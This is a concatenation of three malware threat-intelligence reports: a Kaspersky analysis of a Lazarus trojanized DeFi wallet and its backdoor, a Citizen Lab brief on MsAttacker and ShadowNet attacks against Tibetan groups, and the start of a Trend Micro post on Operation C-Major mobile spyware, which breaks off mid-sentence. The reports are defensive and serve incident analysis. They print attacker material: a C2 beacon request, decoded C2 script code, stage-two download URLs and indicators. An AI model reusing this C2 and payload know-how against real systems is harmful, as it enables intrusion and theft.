To take over the servers, we worked closely with the KrCERT and, as a result of this effort, we had an opportunity to investigate a Lazarus group C2 server.
The threat actor configured this infrastructure with servers set up as multiple stages.
The first stage is the source for the backdoor while the goal of the second stage servers is to communicate with the implants.
This is a common scheme used in Lazarus infrastructure.
Background In the middle of December 2021, we noticed a suspicious file uploaded to VirusTotal.
At first glance, it looked like a legitimate application related to decentralized finance (DeFi) however, looking closer we found it initiating an infection scheme.
When executed, the app drops both a malicious file and an installer for a legitimate application, launching the malware with the created Trojanized installer path.
Then, the spawned malware overwrites the legitimate application with the Trojanized application.
Through this process, the Trojanized application gets removed from the disk, allowing it to cover its tracks.
Infection timeline Initial infection While its still unclear how the threat actor tricked the victim into executing the Trojanized application (0b9f4612cdfe763b3d8c8a956157474a), we suspect they sent a spear-phishing email or contacted the victim through social media.
The hitherto unknown infection procedure starts with the Trojanized application.
This installation package is disguised as a DeFi Wallet program containing a legitimate binary repackaged with the installer.
Upon execution, it acquires the next stage malware path (C:\ProgramData\Microsoft\GoogleChrome.exe) and decrypts it with a one-byte XOR (Key: 0x5D).
In the process of creating this next malware stage, the installer writes the first eight bytes including the MZ header to the file GoogleChrome.exe and pushes the remaining 71,164 bytes from the data section of the Trojanized application.
Next, the malware loads the resource CITRIX_MEETINGS from its body and saves it to the path C:\ProgramData\Microsoft\CM202025.exe.
The resulting file is a legitimate DeFi Wallet application.
Eventually, it executes the previously created malware with its file name as a parameter: C:\ProgramData\Microsoft\GoogleChrome.exe [current file name] https://securelist.com/lazarus-trojanized-defi-app/106195/ https://securelist.com/author/great/ https://www.krcert.or.kr/main.do https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/03/28150403/Lazarus_Trojanized_DeFi_application_to_deliver_malware_01.png https://opentip.kaspersky.com/0b9f4612cdfe763b3d8c8a956157474a/?utm_sourceSLutm_mediumSLutm_campaignSL 2/8 Malware creation diagram Backdoor creation The malware (d65509f10b432f9bbeacfc39a3506e23) generated by the above Trojanized application is disguised as a benign instance of the Google Chrome browser.
Upon launch, the malware checks if it was provided with one argument before attempting to copy the legitimate application C:\ProgramData\Microsoft\CM202025.exe to the path given as the command line parameter, which means overwriting the original Trojanized installer, almost certainly in an attempt to conceal its prior existence.
Next, the malware executes the legitimate file to deceive the victim by showing its benign installation process.
When the user executes the newly installed program, it shows the DeFi Wallet software built with the public source code .
Screenshot of the manipulated application [1] https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/03/29121529/Lazarus_Trojanized_DeFi_application_to_deliver_malware_02.png https://opentip.kaspersky.com/d65509f10b432f9bbeacfc39a3506e23/?utm_sourceSLutm_mediumSLutm_campaignSL https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/03/29121604/Lazarus_Trojanized_DeFi_application_to_deliver_malware_03.png 3/8 Next, the malware starts initializing the configuration information.
The configuration shows the structure shown in the table below, consisting of flags, C2 server addresses, victim identification value, and time value.
As the structure suggests, this malware can hold up to five C2 addresses, but only three C2 servers are included in this case.
Offset Length(bytes) Description 0x00 4 Flag for starting C2 operation 0x04 4 Random value to select C2 server 0x08 4 Random value for victim identifier 0x0C 0x208 C2 server address 0x214 0x208 C2 server address 0x41C 0x208 C2 server address 0x624 0x208 C2 server address 0x82C 0x208 C2 server address 0xA34 0x464 Buffer for system information 0xE98 0x400 Full cmd.exe path 0x1298 0x400 Temporary folder path 0x1698 8 Time to start backdoor operation 0x16A0 4 Time interval 0x16A4 4 Flag for gathering logical drives 0x16A8 8 Flag for enumerating session information 0x16B0 8 The time value for gathering logical drive and session information The malware randomly chooses a C2 server address and sends a beacon signal to it.
This signal is a hard-coded 0x60D49D94 DWORD without encryption the response data returned from the C2 carries the same value.
If the expected value from the C2 server is received, the malware starts its backdoor operation.
Following further communication with the C2, the malware encrypts data by a predefined method.
The encryption is done via RC4 and the hard-coded key 0xD5A3 before additionally being encoded with base64.
The malware generates POST parameters with hard-coded names.
The request type (msgID), victim identification value, and a randomly generated value are merged into the jsessid parameter.
It also uses the cookie parameter to store four randomly generated four-byte values.
These values are again encrypted with RC4 and additionally base64 encoded.
Based on our investigation of the C2 script, we observed this malware not only uses a parameter named jsessid, but also jcookie as well.
Structure of jsessid parameter The following HTTP request shows the malware attempting to connect to the C2 with the request type 60d49d98 and a randomly generated cookie value.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/03/29121703/Lazarus_Trojanized_DeFi_application_to_deliver_malware_04.png 4/8 1 2 3 4 5 6 7 8 POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 6.1 WOW64 Trident/7.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0 .NET4.0C .NET4.0E InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache jsessid60d49d980163be8f00019f91cookie29f23f917ab01aa8lJ3UYA2517757b7dfb47f1 Depending on the response from the C2, the malware performs its instructed backdoor task.
It carries various functionalities to gather system information and control the victim machine.
Command Description 0x60D49D97 Set time configuration with the current time interval (default is 10) value 0x60D49D9F Set time configuration with delivered data from C2 server 0x60D49DA0 Gather system information, such as IP address, computer name, OS version, CPU architecture 0x60D49DA1 Collect drive information including type and free size 0x60D49DA2 Enumerate files (with file name, size, time) 0x60D49DA3 Enumerate processes 0x60D49DA4 Terminate process 0x60D49DA5 Change working directory 0x60D49DA6 Connect to a given IP address 0x60D49DA7 File timestamping 0x60D49DA8 Execute Windows command 0x60D49DA9 Securely delete a file 0x60D49DAA Spawn process with CreateProcessW API 0x60D49DAB Spawn process with CreateProcessAsUserW API 0x60D49DAC Spawn process with high integrity level 0x60D49DAD Download file from C2 server and save to given file path 0x60D49DAE Send file creation time and contents 0x60D49DAF Add files to .cab file and send it to the C2 server 0x60D49DB0 Collect a list of files at the given path 0x60D49DB1 Send the configuration to the C2 server 0x60D49DB2 Receive new configuration from the C2 server 0x60D49DB3 Set config to the current time 0x60D49DB4 Sleep 0.1 seconds and continue Infrastructure Lazarus only used compromised web servers located in South Korea in this campaign.
As a result of working closely with the KrCERT in taking down some of them, we had a chance to look into the corresponding C2 script from one of the compromised servers.
The script described in this section was discovered in the following path: 1 http://bn-cosmo[.]com/customer/board_replay[.
]asp https://www.krcert.or.kr/main.do 5/8 The script is a VBScript.
Encode ASP file, commonly used by the Lazarus group in their C2 scripts.
After decoding, it shows the string 60d49d95 as an error response code, whereas the string 60d49d94 is used as a success message.
In addition, the connection history is saved to the file stlogo.jpg and the C2 address for the next stage is stored in the file globals.jpg located in the same folder.
Configuration of C2 script This script checks what value is delivered in the jcookie parameter and, if its longer than 24 characters, it extracts the first eight characters as msgID.
Depending on the msgID value, it calls different functions.
The backdoor command and command execution result delivered by the backdoor get stored to global variables.
We have seen this scheme in operation before with the Bookcode  cluster.
This script uses the following variables as flags and buffers to deliver data and commands between the backdoor and a second stage C2 server: lFlag: flag to signal that there is data to deliver to the backdoor lBuffer: buffer to store data to be later sent to the backdoor tFlag: flag to signal that there is a response from the backdoor tBuffer: buffer to store incoming data from the backdoor msgID Function name Description 60d49d98 TFConnect Save the TID value (victim identifier) to the log file, send jcookie value with the clients IP address after acquiring the next stage C2 address from the config file (globals.jpg).
Forward the response from the next stage server to the client.
60d49d99 TConnect Deliver the command to the backdoor: If the lFlag is true, send lBuffer to the client.
Reset lBuffer and set lFlag to false.
Otherwise, reset tBuffer and set tFlag to false.
60d49d9a LConnect Send the command and return the command execution result: Set   lBuffer value to jcookie parameter, delivering tBuffer to the client.
60d49d9c Check Retrieve host information (computer name, OS version).
Delete the configuration file, which saves the C2s next stage address, if it exists.
Then save the new configuration with delivered data through the jcookie parameter.
60d49d9d LogDown Deliver log file after base64 encoding and then delete it.
the others N/A Write connections with unknown/unexpected msgID (request type) data to a log file, entries are tagged with xxxxxxxx.
Attribution We believe with high confidence that the Lazarus group is linked to this malware as we identified similar malware in the CookieTime cluster.
The CookieTime cluster, called LCPDot by JPCERT, was a malware cluster that was heavily used by the Lazarus group until recently.
Weve seen Lazarus group target the defence industry using the CookieTime cluster with a job opportunity decoy.
We have already published several reports about this cluster to our Threat Intelligence Service customers, and we identified a Trojanized Citrix application (5b831eaed711d5c4bc19d7e75fcaf46e) with the same code signature as the CookieTime malware.
The backdoor discovered in the latest investigation, and the previously discovered Trojanized application, are almost identical.
They share, among other things, the same C2 communication method, backdoor functionalities, random number generation routine and the same method to encrypt communication data.
Also, this malware was mentioned in an article by Ahnlab discussing connections with the CookieTime (aka LCPDot) malware.
[
2] https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/03/29121936/Lazarus_Trojanized_DeFi_application_to_deliver_malware_05.png https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html https://opentip.kaspersky.com/5b831eaed711d5c4bc19d7e75fcaf46e/?utm_sourceSLutm_mediumSLutm_campaignSL https://cn.ahnlab.com/global/upload/download/asecreport/ASEC20REPORT_vol.102_ENG20(4).pdf 6/8 Same backdoor switch of old CookieTime malware In turn, we identified that the CookieTime cluster has ties with the Manuscrypt and ThreatNeedle clusters, which are also attributed to the Lazarus group.
This doesnt only apply to the backdoor itself, but also to the C2 scripts, which show several overlaps with the ThreatNeedle cluster.
We discovered almost all function and variable names, which means the operators recycled the code base and generated corresponding C2 scripts for the malware.
ThreatNeedle C2 script from roit.co[.
]kr/xyz/adminer/edit_fail_decoded.asp C2 script of this case 1 2 3 4 5 6 7 8 9 10 11 12 functIon getIpAddress() On ErroR resume next Dim ip ipRequest.
SErVervariables(HTTP_CLIENT_IP) If ipTHen IpReQUest.
ServervaRiAbLes(HTTP_X_FORWARDED_FOR) If ipThEn iprequest.
ServerVaRiables(REMOTE_ADDR) End If End if GEtIpAdDressip End FuNction 1 2 3 4 5 6 7 8 9 10 11 12 fUnctioN GetIpAddress() ON Error Resume Next Dim iP ipReqUest.
ServerVaRiables(HTTP_CLIENT_IP) If ipTHEn iPRequest.
SErverVariaBleS(HTTP_X_FORWARDED_FOR) If ipthen ipreQuest.
ServErVariables(REMOTE_ADDR) EnD IF EnD If GEtipAddreSsip End FUnction Almost identical scripts to fetch IP address of client ThreatNeedle C2 script from: edujikim[.
]com/pay_sample/INIstart.asp C2 script of this case https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/03/29122040/Lazarus_Trojanized_DeFi_application_to_deliver_malware_06.png 7/8 1 2 3 4 5 6 7 8 9 10 11 12 13 Sub writeDataToFile(strFileName, byData) Dim objFSO, objFile, strFilePath Const ForAppending  8 strFilePath  Server.
MapPath(.)
\ strFileName Set objFSO CreateObject(Scripting.
FileSystemObject) Set objFile objFSO.OpenTextFile(strFilePath, ForAppending, True) objFile.
Write byData objFile.
Close End Sub 1 2 3 4 5 6 7 8 9 10 Sub WritedatA(filepath,byData) dim objFSO,oBJFile ConSt ForAppEnDing8 Set objFsOCreateObject(Scripting.
FileSystemObject) SeT objFIleobjFso.
OpENTextFile(filepaTh,FoRAppending,True) objFilE.Write ByDatA objFIle.
CLose EnD Sub Similar scripts to save data to a file Conclusions In a previous investigation we discovered that the BlueNoroff group, which is also linked to Lazarus, compromised another DeFi wallet program called MetaMask.
As we can see in the latest case, the Lazarus and BlueNoroff groups attempt to deliver their malware without drawing attention to it and have evolved sophisticated methods to lure their victims.
The cryptocurrency and blockchain-based industry continues to grow and attract high levels of investment.
For this reason, we strongly believe Lazaruss interest in this industry as a major source of financial gain will not diminish any time soon.
Indicators of Compromise Trojanized DeFi application 0b9f4612cdfe763b3d8c8a956157474a    DeFi-App.exe Dropped backdoor d65509f10b432f9bbeacfc39a3506e23    ProgramData\Microsoft\GoogleChrome.exe Similar backdoor a4873ef95e6d76856aa9a43d56f639a4 d35a9babbd9589694deb4e87db222606 70bcafbb1939e45b841e68576a320603 3f4cf1a8a16e48a866aebd5697ec107b b7092df99ece1cdb458259e0408983c7 8e302b5747ff1dcad301c136e9acb4b0 d90d267f81f108a89ad728b7ece38e70 47b73a47e26ba18f0dba217cb47c1e16 77ff51bfce3f018821e343c04c698c0e First stage C2 servers (Legitimate, compromised) hxxp://emsystec[.]com/include/inc[.
]asp hxxp://www[.]gyro3d[.]com/common/faq[.
]asp hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.
]asp hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.
]asp hxxp://www[.]syadplus[.]com/search/search_00[.
]asp hxxp://bn-cosmo[.]com/customer/board_replay[.
]asp Second stage C2 servers (Legitimate, compromised) hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.
]asp hxxp://gyro3d[.]com/mypage/faq[.
]asp https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/ https://opentip.kaspersky.com/0b9f4612cdfe763b3d8c8a956157474a/ https://opentip.kaspersky.com/d65509f10b432f9bbeacfc39a3506e23/ https://opentip.kaspersky.com/a4873ef95e6d76856aa9a43d56f639a4/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/d35a9babbd9589694deb4e87db222606/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/70bcafbb1939e45b841e68576a320603/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/3f4cf1a8a16e48a866aebd5697ec107b/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/b7092df99ece1cdb458259e0408983c7/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/8e302b5747ff1dcad301c136e9acb4b0/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/d90d267f81f108a89ad728b7ece38e70/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/47b73a47e26ba18f0dba217cb47c1e16/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/77ff51bfce3f018821e343c04c698c0e/?utm_sourceSLutm_mediumSLutm_campaignSL 8/8 MITRE ATTCK Mapping This table contains all the TTPs identified in the analysis of the activity described in this report.
Tactic Technique Technique Name Execution T1204.002 User Execution: Malicious File Use Trojanized application to drop malicious backdoor Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Register dropped backdoor to the Run registry key Defense Evasion T1070.004 Indicator Removal on Host: File Deletion The Trojanized application overwrites itself after creating a legitimate application to remove its trace T1070.006 Indicator Removal on Host: Timestomp Backdoor capable of timestomping specific files Discovery T1057 Process Discovery List running processes with backdoor T1082 System Information Discovery Gather IP address, computer name, OS version, and CPU architecture with backdoor T1083 File and Directory Discovery List files in some directories with backdoor T1124 System Time Discovery Gather system information with backdoor Command and Control T1071.001 Application Layer Protocol: Web Protocols Use HTTP as C2 channel with backdoor T1573.001 Encrypted Channel: Symmetric Cryptography Use RC4 encryption and base64 with backdoor Exfiltration T1041 Exfiltration Over C2 Channel Exfiltrates gathered data over C2 channels with backdoor https://github.com/DeFiCh/app APT Intel report: Lazarus Covet Covid19 Related Intelligence Lazarus Trojanized DeFi app for delivering malware [1] [2]
1 The Citizen Lab Research Brief March 2015 Tibetan Uprising Day Malware Attacks Authors: Katie Kleemola, Masashi Crete-Nishihata and John Scott-Railton SUMMARY Hundreds of members of the Tibetan community are being targeted by email-based malware attacks that leverage the March 10 Tibetan Uprising anniversary as a theme.
This report analyzes two March 10 related attacks.
One using a new malware family we call MsAttacker that we have not observed before, and another using the ShadowNet malware family and command and control infrastructure related to previous campaigns known to have targeted the Tibetan community.
We include user recommendations for preventing infection and indicators of compromise for researchers to identify MsAttacker.
BACKGROUND On March 10 1959, amidst growing unrest, Tibetans took to the streets of the capital Lhasa to protest the Chinese occupation of Tibet.
Thousands surrounded the Potala Palace, then the home of His Holiness the Dalai Lama (HHDL), spurred by fears that he was to be arrested by the Chinese authorities.
Following this event, escalation of tensions between Chinese and Tibetan forces led to HHDL escaping Tibet and taking up exile in northern India.
The anniversary of the March 10 Tibetan Uprising is a major event in the Tibetan diaspora, commemorated with a day of protest around the world to raise awareness around Tibetan rights issues.
It is a period of intensive activism and mobilization for many Tibetan organizations.
In previous research, we described how attackers leverage the heightened activity around the event with social engineering campaigns, seeding targeted malware.
For example, we have found personalized e-mails that use references to the anniversary to trick recipients into opening malicious attachments.
In this report we analyze two separate email-based targeted malware attacks that use the March 10 anniversary as a theme.
https://www.studentsforafreetibet.org/campaigns/political-action/uprising-day https://targetedthreats.net/ March 2015 2 ATTACK 1: MSATTACKER On March 5 2015, an email with the subject line 10th March 2015 campaign for Tibet was sent to hundreds of individuals and organizations from the Tibetan community.
The email purported to come from a well- known Tibetan NGO and contained information about a series of events planned to commemorate the 56th anniversary of the Tibetan Uprising.
Attached to the email was a malicious Microsoft Word file 10th March.doc that used the exploit CVE-2012- 0158, which is a vulnerability in how Microsoft Word handles RTF documents.
This vulnerability has been patched since April 10, 2012 but has remained the most frequently used CVE we have observed in malware attacks against Tibetan groups for the last two years.
Its repeated usage suggests that attackers are successfully compromising members of the community, because their systems do not have the latest software updates.
The exploit was used to deliver a malware family that does not match any available signatures and has not been observed by us in previous attacks against the Tibetan community.
The malware first connects to a command and control server (C2) 122.10.117.152 located in Guangzhou, China.
The malware then downloads a stage 2 binary: [c2 ip]/download/ms/MiniJs.dll This file is copied to  c:\windows\system32\teamviewsvc.dll and creates a service to run on startup.
It then connects to 23.27.127.200 to receive further requests.
We call this family MsAttacker after an event name in the stage 2 binary.
We were also provided with another sample of MsAttacker that was also sent on March 5 in a highly targeted attack against a Tibet-related NGO.
The email contained information about a private event the group was planning that was unrelated to March 10 activities.
The attachment contained the same payload as the first March 10 related attack.
We found one other example of this malware in the wild.
On March 5, an analysis of a file WTO.
non-market status China _1_.doc was posted to Malwr (a community malware analysis platform).
This sample was from the same family and also connected to 122.10.117.152.
ATTACK 2: SHADOWNET In another attack on March 5, members of a Tibetan human rights organization received an email appearing to come from the groups organizational mailing list.
The email message contained information from the secretary of the Bureau of His Holiness the Dalai Lama regarding events related to March 10.
Attached was a malicious Microsoft Word file that had the same filename as the previous attack (10th March.doc) and also used CVE-2012-0158.
However, the malware used in this attack is from the ShadowNet family.
ShadowNet malware leverages Windows Management Instrumentation (WMI), a system tool meant for administrators.
Its intended usage as a tool for collecting system information and automation makes it an ideal mechanism for gathering and exfiltrating data.
The use of legitimate Windows features can make it more difficult for administrators to identify activity as malicious.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 https://technet.microsoft.com/en-us/library/security/ms12-027.aspx https://technet.microsoft.com/en-us/library/security/ms12-027.aspx https://targetedthreats.net/ https://targetedthreats.net/ http://bgp.he.net/ip/122.10.117.152 http://bgp.he.net/ip/122.10.117.152 https://malwr.com/analysis/MDE4MDMzNGQ0MjY2NDY1OWE5ZTVhMDRmZjQzNTlkYWM/ http://la.trendmicro.com/media/misc/understanding-wmi-malware-research-paper-en.pdf March 2015 3 ShadowNet typically uses multi-layered C2 infrastructure that first connects to blog websites and then retrieves C2 information from encoded strings left on the blog.
By using blog sites as intermediaries the attackers can maintain control of compromised machines even if a C2 is blocked by a network firewall or otherwise goes down.
If a C2 needs to be updated the attackers can simply point the intermediaries to new servers.
The sample used in this attack includes a WMI Script with links to three blogs (hxxp://johnsmith152.typepad.com/blog/rss.xml hxxp://mynewshemm.wordpress.com/feed/ hxxp://johnsmith5382.thoughts.com/feed).
The blogs contain an encoded string that points to the actual C2: hxxp://www.semamail.info/firex/test.php, which has the IP 122.10.117.5 and is on the same Autonomous System (AS 24544) as the C2 for the MsAttacker sample.
Apart from this commonality and the timing of the attack we do not observe any other linkages between the MsAttacker and ShadowNet attacks.
The domain (semamail.info) has questionable whois information: This same registration information has been used for a number of other domains including conamail.info, convmail.info, and fifamp3.info.
The domain fifamp3.info resolves to 122.10.117.35.
Passive DNS records show that the same IP has pointed to rukiyeangel.dyndns.pro, which is related to C2 infrastructure used in the Lucky Cat and TseringKanyaq campaigns.
ShadowNet was also used in both of these campaigns.
The overlap between C2 infrastructure and malware families suggests some level of coordination between this new attack and the previous campaigns.
CONCLUSION AND RECOMMENDATIONS These attacks are a reminder that members of the Tibetan community are consistently targeted, and that the threat seems to increase during important Tibetan events.
These kinds of  attacks can be mitigated through greater user awareness and changes in behaviour.
Users in targeted communities should always be cautious about unsolicited emails containing links or attachments and should carefully examine the email sender addresses in suspicious messages.
Viewing documents through the Gmail preview feature, or by uploading them to Google Docs to view them can make it possible to look at the content of attachments without risking infection of a machine.
Suspicious files can also be submitted to VirusTotal (but should not be submitted if the files contain personal information) or shared with technical experts within the community.
For further resources on digital security the Citizen Lab recommends Tibet Action Institutes Be a Cyber Super Hero project.
We are continuing to closely analyze these attacks and the MsAttacker malware family.
Registrant Name: Kasong Dolma Registrant Street: New York Registrant City:New York Registrant State/Province:guangdong Registrant Postal Code:10001 Registrant Country:CN Registrant Phone:1.9175608889 Registrant Email: mike.flyemail.com http://www.nartv.org/mirror/shadows-in-the-cloud.pdf http://whois.domaintools.com/semamail.info https://www.passivetotal.org/ https://www.passivetotal.org/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf https://targetedthreats.net/media/2-Extended20Analysis-Full.pdf https://www.cybersuperhero.net/detach-from-attachments/ https://www.virustotal.com/ https://www.cybersuperhero.net/ https://www.cybersuperhero.net/ mailto:mike.flyemail.com March 2015 4 We will post further details as they become available.
INDICATORS MsAttacker Samples Stage 0 MD5: 8346b50c3954b5c25bf13fcd281eb11a SHA1: d9a74528bb56a841cea1fe5fa3e0c777a8e96402 SHA256: de7058700f06c5310c26944b28203bc82035f9ff74021649db39a24470517fd1 Stage 0 MD5: 6fc909a57650daff9a8b9264f38444a7 SHA1: 2a2a1fae6be0468d388aa2c721a0edd93fb37649 SHA256: a264cec4096a04c47013d41dcddab9f99482f8f83d61e13be4bcf4614f79b7a0 Stage 1 MD5: 69a0f490de6ae9fdde0ad9cc35305a7d SHA1: e3532fc890f659fb6afb9115b388e0024565888c SHA256: 3de8fb09d79166f10f4a10aef1202c2cb45849943f224dc6c61df8d18435e064 Stage 2 MD5: 2782c233ddde25040fb1febf9b13611e SHA1: be50ef6c94f3b630886e1b337e89f4ea9d6e7649 SHA256: 50aebd2a1e3b8917d6c2b5e88c2e2999b2368fca550c548d0836aa57e35c463f C2s 122.10.117.152 23.27.127.200 Ms Attacker Identifiers Stage 1 Strings http://122.10.117.152/download/ms/CryptBase.32.cab http://122.10.117.152/download/ms/CryptBase.64.cab http://122.10.117.152/download/ms/MiniJS.dll MiniJS.dll gupdate.exe rundll32.exe s install s snew Downloader(s, s).Fire() rundll32.exe s RealService s March 2015 5 Stage 2 Strings ShadowNet  Samples Stage 0 MD5: 72707089512762fce576e29a0472eb16 SHA1: 4ab039da14acf7d80fbb11034ef9ccc861c5ed24 SHA256: ddfa44ebb181282e815e965a1c531c7e145128aa7306b508a563e10d5f9f03fb Stage 1 MD5: d8ae44cd65f97654f066edbcb501d999 SHA1: 602a762dca46f7639210e60c59f89a6e7a16391b SHA256: e8f36317e29206d48bd0e6dd6570872122be44f82ca1de01aef373b3cdb2c0e1 C2s hxxp://www.semamail.info/firex/test.php (122.10.117.5) ACKNOWLEDGEMENTS Thanks to Chris Davis, PassiveTotal, and Adam Senft.
MiniJS.dll RealService s rundll32.exe s RealService s /f reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Start Pages /f TeamView 3111431114311121270018000127001808012700180 Global\MSAttacker d
5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 1/11 TrendMicro AboutTrendLabsSecurityIntelligenceBlog Search: Goto Home Categories HomeMalwareOperationCMajorActorsAlsoUsedAndroid,BlackBerryMobileSpyware AgainstTargets OperationCMajorActorsAlsoUsedAndroid, BlackBerryMobileSpywareAgainstTargets Postedon:April18,2016at7:07am Postedin:Malware,Mobile,TargetedAttacks Author: TrendMicro 0 27  43 http://www.trendmicro.com/ http://blog.trendmicro.com/trendlabs-security-intelligence/about-us/ https://twitter.com/trendlabs http://www.facebook.com/trendmicro http://www.linkedin.com/company/trend-micro http://www.youtube.com/user/TrendMicroInc http://feeds.trendmicro.com/Anti-MalwareBlog http://blog.trendmicro.com/trendlabs-security-intelligence/ http://blog.trendmicro.com/trendlabs-security-intelligence/ http://blog.trendmicro.com/trendlabs-security-intelligence/ http://blog.trendmicro.com/trendlabs-security-intelligence/category/malware/ http://blog.trendmicro.com/trendlabs-security-intelligence/2016/04/ http://blog.trendmicro.com/trendlabs-security-intelligence/category/malware/ http://blog.trendmicro.com/trendlabs-security-intelligence/category/mobile/ http://blog.trendmicro.com/trendlabs-security-intelligence/category/targeted_attacks/ http://blog.trendmicro.com/trendlabs-security-intelligence/author/trend-micro/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 2/11 ByShawnXing,DavidSancho,andFeikeHacquebord LastMarch,wereportedonOperationCMajor,anactiveinformationtheftcampaignthatwasableto stealsensitiveinformationfromhighprofiletargetsinIndia.
Thecampaignwasabletosteallarge amountsofdatadespiteusingrelativelysimplemalwarebecauseitusedcleversocialengineeringtactics againstitstargets.
Inthispost,wewillfocusonthemobilepartoftheiroperationanddiscussindetail severalAndroidandBlackBerryappstheyareusing.
Basedonourinvestigation,theactorsbehind OperationCMajorwereabletokeeptheirAndroidmalwareonGooglePlayformonthsandthey advertisedtheirappsonFacebookpageswhichhavethousandsoflikesfromhighprofiletargets.
LinktoStealthGenie SeveralactorsinvolvedinOperationCMajorhavebeenrathercarelessinthepast,leavingbehind numerousdigitaltracesontheInternet.
OneoftheseactorshasbeenactivelypromotingStealthGenie,a spyingappforAndroid,BlackBerry,andiPhone.
Thisappwasmarketedasatoolonecanusetomonitor employees,spouses,andchildren.
However,basedonitsfunctionalities,itisnodifferentfrommalicious applications.
ThePakistaniownerofStealthGeniegotarrestedbytheFederalBureauofInvestigation (FBI)in2014forsellingspywareandwasfinedUS500,000.
FortheCMajoractor,itwasonlyasmallsteptogofrompromotingStealthGenietousingAPTmalware thatwasdesignedtospyonthearmedforcesofanation.
In2013,OperationCMajorusedspyingapps forBlackBerryphones,whichhavesimilarfunctionstothatofStealthGenies.
Itwasapparentthatthese appsweredevelopednotforjealousspousesbutforthethreatactorsintentonstealingsensitive informationfromorganizationslikethearmedforces.
Moremaliciousapps Sinceatleastearly2013,actorsbehindOperationCMajorhavebeenusingavarietyofmaliciousapps againsthighprofiletargetsintheIndianmilitary,aswellasotherforeignembassies.
Fromourresearch, wesawthattheseappsweredownloadedbythehundreds,mostlikelybythetargetsinIndia.
Someof theseapps,likefakenewsapps,arepromotedonofficialFacebookpages,whichisanothersocial engineeringtricktolureusersintodownloadingthem.
MostoftheseappsaredevelopedbyaPakistani company.
Hereisarundownofwhattheyusedduringtheoperationandhoweachofthemfunctions: Ringster Thisspywarecollectsthecontactlistofthetargetsanditcantakescreenshotsofthetargetsphones.
It http://blog.trendmicro.com/trendlabs-security-intelligence/indian-military-personnel-targeted-by-information-theft-campaign http://edition.cnn.com/2014/09/30/tech/mobile/stealthgenie-app-arrest/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 3/11 wasavailableonGooglePlayinthefirsthalfof2015beforeitwasremoved.
Figure1.Ringsterappealingasasocialmessagingserviceprovider OurcodeanalysisrevealsthatRingsterisreusingalotofcodefromWavecall,acommunicationtool developedbyacompanycalledYello.
RingsterhasahardcodedURLpointingtompjunkie[.
]com.
This URLmakesaclearconnectiontotheothercampaignsofOperationCMajor,whichwedescribedinour previouspost.
SmeshApp SmeshAppissimilartoRingsterbutismorepowerful.
SmeshcanstealSMSmessages,recordvideos andcalls,andsendscreenshots.
SmeshAppwasavailableonGooglePlayfromJune2015tillMarchof 2016,andhasbeendownloadedhundredsoftimesbeforeitwaspulled.
ThisshowsthatOperationC MajorusedrelativelybasicmalwarethatremainedunnoticedontheGooglePlaystoreforalargetime window.
http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/ringster_fig1/ http://blog.trendmicro.com/trendlabs-security-intelligence/indian-military-personnel-targeted-by-information-theft-campaign/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 4/11 Figure2.SmeshAppdownload Figure3.CodecomparisonbetweenSmeshAppandRingster http://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/04/smesh.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/04/smesh_ringster.png 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 5/11 Androrat Sinceatleast2015,OperationCMajorstartedtouseAndrorat,anofftheshelfremoteadministration toolforAndroid.
CMajormayhaveboughtAndroratfromanIndonesianvendor.
TheCC infrastructureoftheAndroratsamplesoverlapswiththeinfrastructurethatisusedinothercampaignsof CMajorwhichwedescribedinourpreviousblogpost.
